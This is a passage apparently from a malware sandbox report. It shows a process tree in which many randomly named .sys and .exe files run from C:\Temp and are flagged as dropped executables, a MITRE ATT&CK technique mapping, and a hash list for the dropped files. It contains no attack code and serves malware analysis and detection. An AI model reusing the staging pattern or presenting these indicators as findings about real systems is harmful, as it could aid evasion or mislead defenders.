      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=4952,i,9909139435596831568,15966015538900467510,524288 --field-trial-handle=2336,i,3174200998744538629,12124785885138024325,262144 --variations-seed-version --mojo-platform-channel-handle=6152 /prefetch:14
      4⤵
      PID:3096
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=4360,i,16634816471012707312,5701930724855799453,524288 --field-trial-handle=2336,i,3174200998744538629,12124785885138024325,262144 --variations-seed-version --mojo-platform-channel-handle=2864 /prefetch:14
      4⤵
      PID:2064
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=6728,i,795385092862697686,12154984599125611841,524288 --field-trial-handle=2336,i,3174200998744538629,12124785885138024325,262144 --variations-seed-version --mojo-platform-channel-handle=6152 /prefetch:14
      4⤵
      PID:3096
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --subproc-heap-profiling --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6724,i,18171771638485096844,8675583282867470571,262144 --field-trial-handle=2336,i,3174200998744538629,12124785885138024325,262144 --variations-seed-version --mojo-platform-channel-handle=6728 /prefetch:10
      4⤵
      PID:5668
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=3476,i,15827394537468520292,10183224101303139669,524288 --field-trial-handle=2336,i,3174200998744538629,12124785885138024325,262144 --variations-seed-version --mojo-platform-channel-handle=3480 /prefetch:14
      4⤵
      PID:5428

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1816

C:\Temp\nhfzxspkicausmkf.sys
C:\Temp\nhfzxspkicausmkf.sys
1⤵
- Executes dropped EXE
PID:5232

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4856

C:\Temp\zusmkeczus.sys
C:\Temp\zusmkeczus.sys
1⤵
- Executes dropped EXE
PID:1028

C:\Temp\czurmkeczu.sys
C:\Temp\czurmkeczu.sys
1⤵
- Executes dropped EXE
PID:1696

C:\Temp\jecwuomgez.sys
C:\Temp\jecwuomgez.sys
1⤵
- Executes dropped EXE
PID:4172

C:\Temp\ljdbywtolj.sys
C:\Temp\ljdbywtolj.sys
1⤵
- Executes dropped EXE
PID:3636

C:\Temp\dywtoigdyv.sys
C:\Temp\dywtoigdyv.sys
1⤵
- Executes dropped EXE
PID:1152

C:\Temp\vqolyvqnli.sys
C:\Temp\vqolyvqnli.sys
1⤵
- Executes dropped EXE
PID:4240

C:\Temp\vtnlfdxvpn.sys
C:\Temp\vtnlfdxvpn.sys
1⤵
- Executes dropped EXE
PID:1492

C:\Temp\vpnkfdxvsn.sys
C:\Temp\vpnkfdxvsn.sys
1⤵
- Executes dropped EXE
PID:1484

C:\Temp\mkecwurpkh.sys
C:\Temp\mkecwurpkh.sys
1⤵
- Executes dropped EXE
PID:4872

C:\Temp\mhfzxrpmhf.sys
C:\Temp\mhfzxrpmhf.sys
1⤵
- Executes dropped EXE
PID:4472

C:\Temp\ebwurpmgec.sys
C:\Temp\ebwurpmgec.sys
1⤵
PID:1640

C:\Temp\jdbwtrljdb.sys
C:\Temp\jdbwtrljdb.sys
1⤵
PID:928

C:\Temp\ywtnljdbyw.sys
C:\Temp\ywtnljdbyw.sys
1⤵
PID:4840

C:\Temp\igaytqljdb.sys
C:\Temp\igaytqljdb.sys
1⤵
PID:4572

C:\Temp\lidavsnlfd.sys
C:\Temp\lidavsnlfd.sys
1⤵
PID:4840

C:\Temp\dxvsnkifdx.sys
C:\Temp\dxvsnkifdx.sys
1⤵
PID:1764

C:\Temp\nhcauspkif.sys
C:\Temp\nhcauspkif.sys
1⤵
PID:1996

C:\Temp\hfcwuspkhc.sys
C:\Temp\hfcwuspkhc.sys
1⤵
PID:3420

C:\Temp\xuojhezxrp.sys
C:\Temp\xuojhezxrp.sys
1⤵
PID:2080

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bvtnlgdywq.exe

Path C:\Temp\bvtnlgdywq.exe
Size 722KB
SHA256 a56751835a5fdc45a451665302d297f8708f86a471afe70294c4682ead39c275
MD5 34dbd121cd138d7736d3f47203082db7
SHA1 6d69d0ea6d1b811e60d498f8551ed263d20f3065
SHA512 fa223982459633d758e1bf0a5fd0e3d2098a8b791530af085de4c812c926c13d02896dd368d4bab1cc97ec9efd44834ea91074ccd4a498f8614e81f95af6214f
SSDEEP 12288:0flfAsiVGjSGecvXAflfAsiVGjSGecvX:wMcfcMcf
TLSH
T142F47C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

czurmkeczu.sys

Path C:\Temp\czurmkeczu.sys
Size 293KB
SHA256 a3c4154f6eebfc143d1cdf4ee8ad94bb06ab4ff4e95619f71985cb1613229c45
MD5 f90b3ddd358491c8cfd91616fb56c9db
SHA1 09ee260e8cfa9ef8178e298c0a0a1c8a6e20a0e4
SHA512 217510a973420a1473c7bdbdfe0193c46ee047a3ba5423516e9df53ce5340e06a23ee0946ac3c88d8d91a7be05ca480cc9a6ec2c5c2c772e546a4c8f88e591c9
SSDEEP 3072:HtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:HIJjiJcbI03GBc3ucY5DCSj
TLSH
T11A545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dywtoigdyv.sys

Path C:\Temp\dywtoigdyv.sys
Size 293KB
SHA256 6908aa10bdcedefdb9e011a066dce059dda90747ee3bc1987426e92b161728b3
MD5 edb780a8acff54a173c03a6573dde169
SHA1 9e691696a8f70077a864ee4d7b4f1f143b9fbaf9
SHA512 f4c02459e18d6259d3a181417639744c591faa82cd850fef1a8e38af02905323fdd2ecd1af174d9951f55b276f9ec1228d205c2a9b9c4ac7161eee1eee1b4753
SSDEEP 3072:VtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:VIJjiJcbI03GBc3ucY5DCSj
TLSH
T1A8545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

geywrojeto.exe

Path C:\Temp\geywrojeto.exe
Size 722KB
SHA256 90a0b8d2bf7bf354a07f2bf7c02151f111f963ffe4aedfa504c4d36f821e2c23
MD5 a77f80ea1c1d577aa3ed2ce9363d2dc4
SHA1 09737ec0e29281b7ecf81ad09aad44cac6a35e14
SHA512 3ce5f94f85f11a9251af9ccc50c2767122649a0f9bbaad621cd7932ea154b1ffcd2b70cc645da31fcacb99a1b88cbee5267c865be68a32285625d326819b42e8
SSDEEP 12288:MflfAsiVGjSGecvXAflfAsiVGjSGecvX:YMcfcMcf
TLSH
T19BF47C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_geywrojeto.exe

Path C:\Temp\i_geywrojeto.exe
Size 722KB
SHA256 34d7655b463f819008692ed3382a7862d15c981d454385bed3550abfd691fedc
MD5 c9bf2a21f68f5ff8202053a284db5d37
SHA1 aedbb1c90b9f30a8ee1d0cc60c9cc361bf2db58f
SHA512 82000c5af0235b06f79ba21446428b53b008d7287c8ce3cde81a26a3710f74705043a64540758a00a6b36679efc125c3a82bae433a9f6bf15fac2ff3252beac8
SSDEEP 12288:2flfAsiVGjSGecvXAflfAsiVGjSGecvX:iMcfcMcf
TLSH
T1DEF47C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_mkhcauspki.exe

Path C:\Temp\i_mkhcauspki.exe
Size 722KB
SHA256 45450c159bdb3db2483e71960ec18d7cff14214023227acb139f67fe2fbb5ac3
MD5 71f9de66db990d94d77742b6e2f66b02
SHA1 df98ab269ea7036fd3e6f2c60da97ebf80c5f49c
SHA512 e413b99060f3cd94d3267012160be6f01353a4b85f91b6ec4fe6476b1ea27177389f2414ef010ac76f7e6254e6f4ffe15f0d5ddf50e648370693823215693db5
SSDEEP 12288:2flfAsiVGjSGecvXAflfAsiVGjSGecvX:iMcfcMcf
TLSH
T17FF47C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_omjhbzwurm.exe

Path C:\Temp\i_omjhbzwurm.exe
Size 722KB
SHA256 e548839c3a3b8469578bc0b59e204f28f23a7c453e9a59f0f04eee65c9bc884b
MD5 6798cfb869136d845d9f746cc0989da7
SHA1 40755750d5b4b52753e6f69bac13b22b116c82ab
SHA512 a887c144342e0541065686b258551a19639867155ab18d5a257507c6e2e077b4e77365802d7fd456a7b6e5851623cdd9f7255a9baa6579c26c014bbdc6eb84e8
SSDEEP 12288:IflfAsiVGjSGecvXAflfAsiVGjSGecvX:UMcfcMcf
TLSH
T197F47C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_rligebwtrl.exe

Path C:\Temp\i_rligebwtrl.exe
Size 722KB
SHA256 05dae06585ba249a00607e60a42f84af5b04fb6ba43d30ad81a9128dd0abfde1
MD5 c32cf9bfbcbc76cae44aa54778fef52b
SHA1 e789545ed6e580366a892bd9519bdfbc53b19d3b
SHA512 cdae862bfa5432f7b46cc170e8146d46373c1a215aa85725d0c39ff40d2f730b00774a09dff4174d0d3b39bc6ea9c216c6f3760f9358face678db07b0f13b2a3
SSDEEP 12288:bflfAsiVGjSGecvXAflfAsiVGjSGecvX:zMcfcMcf
TLSH
T115F47C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_urmjhfzxup.exe

Path C:\Temp\i_urmjhfzxup.exe
Size 722KB
SHA256 5f3d0d03c81b7f5d3591eee4526943e96695006d4969a568efcfe0066253f1b9
MD5 0604f206ca0aa5b0582d969118ce48a1
SHA1 08bd843cc5579fd382e8cba6ae545b3b85e784f6
SHA512 7653a6f85027d446cee7cf6e52a05080a310f2ba4ab12edf42c038310bcb3bd64385200be1949b3aea592890199ed41e1d31c96fc65ca97ad8202e7affd09164
SSDEEP 12288:uflfAsiVGjSGecvXAflfAsiVGjSGecvX:KMcfcMcf
TLSH
T1DEF47C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jecwuomgez.sys

Path C:\Temp\jecwuomgez.sys
Size 293KB
SHA256 c700edbaea448ffa4790ede78781f4ab78d38464755541e76214758514642a32
MD5 f272a7a4c0630586d683428f1fd968a7
SHA1 101a45663fad6a1eb19654bc6c78f7ef6514d4f6
SHA512 3fc39db644e85e38586589ca1fc3fafc088a3a6ad98a1cb5caa93920bdc7ed8740498d7d4b88f8c68701e722e554f04514d5cb0199756cd5f1f14b1985951107
SSDEEP 3072:AtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:AIJjiJcbI03GBc3ucY5DCSj
TLSH
T1FF545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ljdbywtolj.sys

Path C:\Temp\ljdbywtolj.sys
Size 293KB
SHA256 6b9a1230721d5ca899aafc8af4b782696115ceb12fcb1b5d1385fbb382e44110
MD5 4ffdc1068544af7982c241d68a8d37e8
SHA1 deb0eef62be4ac69bc4037fd197799334bf2b827
SHA512 56f12a6cad3393e8723473d3f484bcb6c2333efdf665af2362d961f2bf4599fa7df967936ad472221d64cbcce4a4f560ae0f796e1ffa27c6434d858d50cc8ddc
SSDEEP 3072:GtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:GIJjiJcbI03GBc3ucY5DCSj
TLSH
T1E5545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mkhcauspki.exe

Path C:\Temp\mkhcauspki.exe
Size 722KB
SHA256 78ab5dae96ae867522e7fcfb97e24d2ad13999d800c670ca7ea8f5048d0575b6
MD5 7e2a2ceab579644fcb483700a1b65272
SHA1 81bea4b78d101be8cd03e888ab9e79ae042f409d
SHA512 a6c852d179af5dd6c1d923f645091f4b0b98af86f8ae9e822016b881f3445caceed5dcb9c590841ee517db0ef0a05f1cd243cf69f10426a6a66af19d1709000d
SSDEEP 12288:XflfAsiVGjSGecvXAflfAsiVGjSGecvX:vMcfcMcf
TLSH
T114F47C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nhfzxspkicausmkf.exe

Path C:\Temp\nhfzxspkicausmkf.exe
Size 722KB
SHA256 2aced3f633418a24cc6b66450a9a542805588dc2623ee6d2c4ee3d74627062d7
MD5 bc520ccfb6e7cffdb20b00ab60945aa4
SHA1 b79449b2ecfcd7cc66381d426b29190b94213a60
SHA512 0a093c0b13a64818a1e5876caa549f927d12dcb435aedee5c789d98592abafc3e62ebc06f08403888c7c202e41cc0d3977d8fb23fcce0a736b3a42dfbbbe3cea
SSDEEP 12288:9flfAsiVGjSGecvXAflfAsiVGjSGecvX:1McfcMcf
TLSH
T1E7F47C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nhfzxspkicausmkf.sys

Path C:\Temp\nhfzxspkicausmkf.sys
Size 293KB
SHA256 55f08734686c78d1de8cd81281be8aa68bac3c8d6636565c9c936b745567fba3
MD5 55cc30db765e5af666bf9348ca1cb0c4
SHA1 1aa19f40ab1c7eff5251890d88f40586f30c1695
SHA512 756ec976c8ec8498bdfe040570ab86adc6a31df6387214f1ebd2a74c5e9ef670dfd7af556bff108f8b92e98ea34b5df76abef8bc0303b4bd9acedfe0bee7d8ee
SSDEEP 3072:StKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:SIJjiJcbI03GBc3ucY5DCSj
TLSH
T177545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

omjhbzwurm.exe

Path C:\Temp\omjhbzwurm.exe
Size 722KB
SHA256 a178ae42788c94372a6ceee776a0a28be9109ad0a6085fbaa59adf34f539898d
MD5 384191c3d8c2be09b3678645d7bbdef3
SHA1 2ce2b7c576625d94b25dfb7dd9ce0244c40ac397
SHA512 8455c04223ce40cbdff897a9e4790126f02af6a8c39390be111831ed43240a05d95165f68988c41699e9763c11490c1e8c5e8cd619fa0e8f1c393ee32fd939c3
SSDEEP 12288:IflfAsiVGjSGecvXAflfAsiVGjSGecvX:UMcfcMcf
TLSH
T12BF47C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rligebwtrl.exe

Path C:\Temp\rligebwtrl.exe
Size 722KB
SHA256 35e5f3079820131ecefab09f0b7eeaf278ba861e7d6bafc08bcda36a99a5f67b
MD5 686fd0f2f4f077dfa9639f1a0fd84105
SHA1 45821fd9f15626450d68c9ec212b8c982a345c8d
SHA512 2ac60d385d9ec02b297f2031b2a55f5215c07105541a8d6e52bef05c0c28990d8f9700e9f6b0cba4a8e08e1962b63cf8e01ff840fbfdd58626c08c238e41b3c5
SSDEEP 12288:dflfAsiVGjSGecvXAflfAsiVGjSGecvX:VMcfcMcf
TLSH
T134F47C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

urmjhfzxup.exe

Path C:\Temp\urmjhfzxup.exe
Size 722KB
SHA256 11357001da8ec6b110ecd08785013f2edb92c54fe2ed4107a180016fb8dbc800
MD5 06085c0262a6e8054e183f03593e9376
SHA1 e85d70739b8067be8bb51594da83ece604acad5b
SHA512 ee8529aa1f4719188d79004a009e575cec52c3268a770713ed489e120db79c3c26afa8987cabf46767b718531e3cadb54178fe5156d098baa3e9fd19c682a3c5
SSDEEP 12288:6flfAsiVGjSGecvXAflfAsiVGjSGecvX:WMcfcMcf
TLSH
T106F47C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zusmkeczus.sys

Path C:\Temp\zusmkeczus.sys
Size 293KB
SHA256 5360ce5cb4bdec54015da07205864a59072d8386823ee2dfdafb12b9f4c45367
MD5 cf5e69d9271a18f4bf44d7d74a3e49d5
SHA1 622241a2c1f556b610fb2e80eddfec56d0bee1c4
SHA512 608a68f06cd33556ef4a931b65c32a10e885a70ea4961b6bfdfd52e0b95f78152369cf561378312ede4d6596708eb6c514aee88be4c49b7543ed9476f749b75d
SSDEEP 3072:OtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:OIJjiJcbI03GBc3ucY5DCSj
TLSH
T16D545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ffe13798c5910685872d371e84c30baa9eefaaa5db1419603eb30d473d7b2e37
MD5 03c111f9396889c77f6d9883c5df333f
SHA1 be65300843096dba92c5695fd35e2dffcbb7eb0a
SHA512 a77dfe3b48fcb72648f1adfafbf0d0fcd4d88690dcf41609a03e1d6b645d1336b6e322931b2205673283b920d20ed0225c6aa320a83a2d3a410771f18d120c19
TLSH
T1B1D09BD079145D78C4C1353231A773155A516435865C46481151F3BACD65141667E59D
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 7add6572365d752d8c3a090b9a256c43e3c5ff716f29ed7aa3c53dc57a08ba60
MD5 0da70f521ac5aee3489abf6e3eb4e375
SHA1 0f3cd9919820116ecc86bab93f4712c08485dc56
SHA512 a9cddd04863b2ac842fe4f91265c19a41d8b7442be8f07a91747705beca52c1e1d563e3c46cf68e1b73606695624f13ca69a8246653c2535d0684ced42c37d33
TLSH
T182D09BD479045D78C4C1353231A673155A616435DA5C46481051F3AACD65141667F5AD
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 9cb767dc9c498ddfec136eee9705b7b7496844fbaf4c23d7a7260c2af31ff85d
MD5 ca6cfc3b4ff2a65ceb3b071799cb4fe4
SHA1 aa19d3380805433772d81e24662c157b11ff60ec
SHA512 f81f0350390f11d364e188e7ce62124317f7e6858e29447fca942a96dc3de885e41703b411691cb39c6e15b8dfa11c481f9af66deaaabec6a9239a9b2b92dc34
TLSH
T1A6618562CB1605D2DB1C4EB3EAE9540C33F788E60643AD54BC10DC37858EF0D54E295B
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59431a.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe59431a.TMP
Size 3KB
SHA256 3580e8f89954fb8ee018fb6d5fdb398aeb41ea8b7f373d8c5dd462b6485700a8
MD5 2abf1bdccb8236d142e212cf95cb82a5
SHA1 5ab91de86c8f7bb242bbbb5db2e50cf15d04bcd6
SHA512 3edbd8b695be18de87c901b4569bd4cc38cf47cd19b9f45fbc26ba8c19b24ea0f53db8746128a0093f6fc10c606e3b7ba92800569e16c6aead6192b8e9d2a555
TLSH
T17F618562CB1605D2DB2C8EB3EEA9540C73F788E60643AD44BC00DC36858EF1D54E296B
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 3d0ea81ad84b80916ca9219022eb99458806fdf78f907bbf859c4023db598ddd
MD5 bf78466e708c8d548944f81ea62db777
SHA1 0333bf895ada73dc68dfafb0dad534ae2401d693
SHA512 e6b4638e6a7390ffa89fff1ccc270886fe78e914e261fd3464c03095fe2dd62feb0178245f7e3a96f6bd71511e3406b14e4c4abcff2089aff5e565fff61be386
TLSH
T15541AFF383F4857E8A1195F0EB146E1FCE1D0515432C7D9A89E4AE2B93E3471D14199F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 187ec6cd315054bc70527df71a7c33712105cb913f306e4b7e721dae4388d4c3
MD5 2b024fe2fde1c3b98929face7949d4af
SHA1 de2894a221e5f6c264a8e0f45e0bfce31ec27ffc
SHA512 e6d6f02b43d75086f26b51a4ba047bb4b40b6e653a88963c10a219bef5b8f1e3ecf61d9448ed7ed502ba9d3ed4d2d35a587558d931d759b6237d6ef6d45599ae
SSDEEP 192:sxR/RYCU/fmsh0fPEZoEl6ozoA8p9g/g6+WNChp/YlUZji2GfaIgVgsJ:sxR/ZU/fmsmn6CxK/5C/+F6mQ
TLSH
T1AD42B8556A68A93B5CC7E21DFA55BF53D3F95033A0A41E48AAFC861C04E76DD120780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 10da1f3f6c7f2251d8c5cc8ab448a38d143b8043fb7b00ba3d166d642016e7ef
MD5 1b3b88992b866e0a41aa92457e813873
SHA1 f85b6719d083b89cf747a51d8f75f8041d3fd843
SHA512 619c662b9e5e09c61996c3262afddf6bb149e9940a3f74a4db5dc39c6c7ae867417afaf2ba6298f6d618d60540e00be2c69047d112f300bcf1841391d15a0911
SSDEEP 192:sxRERYCU/fmsK0fPEZoEl6ozoA8p9g/g6+WNChp/YlUZji2GfaIgDHgsJ:sxREZU/fmsrn6CxK/5C/+F68Q
TLSH
T1F942C8566A68A93B4CC7E21DFB55BF53D3F95033A0A41E48ABFC861C04E76DD220780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 817dd3fd7fbf906f4dca13719d8b5b0ae5d713a38a200d433dd0b660cade5289
MD5 e4ff61ca908d401c5efec5596c97fc8c
SHA1 56ab7d510fc94e97df00e4d9e08c28a0d85d3860
SHA512 77f8a46557c4b238b7278a9ac84cc48b66255486da2c38e19b1c2aa54daf68c075f55ce0e22faace71241a5727fb3f995486ecb27b1e31a67ae8172a814812c6
SSDEEP 192:sxRERYCU/fmsK06PEZoEl6ozoA8p9g/g6+WNChp/YlXZFi2GfaIgDFgsJ:sxREZU/fmsrU6CxK/5C/FF6SQ
TLSH
T1A042C8556A686D3B9CC7E21DBB55BF53D3F95033A0A41E48ABFC8A1C04E76DD220780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 29KB
SHA256 eb717deb463027be799f02e33c0c6e33a5df42e2f78d4dfcba3d86a6bb7d187c
MD5 3004700c759e7320f3e7d680355680c7
SHA1 ae557068b706117ee2c7be9c92bb79155e0660af
SHA512 4ef58ac219f48b678c9b2fad1995f9d4f073171fedbf8f600b713f189db45ccf286a30f22b9a5525e23188ed152c26f81bd1c3e6ae48e3b0653ae5997f1ca4c1
SSDEEP 768:dofArj7pLuL7AxWgg+fJJ8F1+UoAYDCx9Tuqh0VfUC9xbog/OV9DN131Frorb:dofArVE7AxWgg+fJJu1jaKDNl1+rb
TLSH
T17AD2DA7B640CCB7E4F804ADDEC19BA9F6D6802CB9698C98047FE951C03C6BEB51164DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

d9bc3707-c4b1-442f-bd09-a1b0a3992b74.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\d9bc3707-c4b1-442f-bd09-a1b0a3992b74.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
